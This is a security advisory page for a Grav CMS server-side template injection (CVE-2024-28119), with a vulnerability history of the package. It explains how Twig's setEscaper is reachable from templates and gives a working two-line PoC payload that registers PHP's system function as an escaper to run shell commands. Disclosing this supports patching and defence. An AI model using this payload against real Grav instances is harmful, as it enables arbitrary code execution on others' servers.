High

Server Side Template Injection (SSTI) via Twig escape handler

  • Disclosed: 22.03.2024
  • Updated: 11.10.2026 10:22

Summary

Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.

Details

https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99

php
/**
     * Defines a new escaper to be used via the escape filter.
     *
     * @param string   $strategy The strategy name that should be used as a strategy in the escape call
     * @param callable $callable A valid PHP callable
     */
    public function setEscaper($strategy, callable $callable)
    {
        $this->escapers[$strategy] = $callable;
    }

Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.

{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}

At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.

PoC

{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}

Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package getgrav/grav < 1.7.45 1.7.45

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Composer
Package
getgrav/grav
Disclosed
22.03.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2m7x-c7px-hp58 - CC BY 4.0

Vulnerability history: getgrav/grav

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (99) in the archive
Total entries
99
First → latest
11.2019 09.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 47
  • Medium 41
  • Low 4

Disclosures per year

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Severity:
  1. High · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. High CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  3. High · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  4. High · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  5. Critical · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  6. Critical · 9.1 CVE-2025-66844 <= 1.7.49.5 no fix
  7. High CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  8. High CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  9. High · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  10. High · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  11. High · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  12. Server Side Template Injection (SSTI) via Twig escape handler this entry
    High · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  13. High · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
  14. High · 8.8 CVE-2024-28117 < 1.7.45 1.7.45
  15. High · 8.8 CVE-2024-27921 < 1.7.45 1.7.45
  16. High · 8.8 CVE-2024-27923 < 1.7.43 1.7.43
  17. High · 7.2 CVE-2023-37897 < 1.7.42.2 1.7.42.2
  18. High · 7.2 CVE-2023-34448 < 1.7.42 1.7.42
  19. High · 7.2 CVE-2023-34252 < 1.7.42 1.7.42
  20. Critical · 9.1 CVE-2023-34251 < 1.7.42 1.7.42
  21. High · 7.2 CVE-2022-2073 < 1.7.34 1.7.34
  22. High · 8.1 CVE-2020-29555 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  23. High · 8.8 CVE-2020-29553 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  24. High · 7.1 CVE-2022-0970 < 1.7.31 1.7.31
  25. High · 8.8 CVE-2021-3924 <= 1.7.24 no fix
  26. High · 8.4 CVE-2021-29440 < 1.7.11 1.7.11

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.